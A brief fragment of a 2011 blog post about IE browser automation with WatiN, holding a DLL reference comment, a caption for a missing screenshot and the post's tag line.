//O2Ref:WatiN.Core.1x.dll

Here is a screenshot what what this looks like:

July 13, 2011 Posted by | IE Automation, JPetStore, jQuery, Spring MVC, WatiN | Leave a comment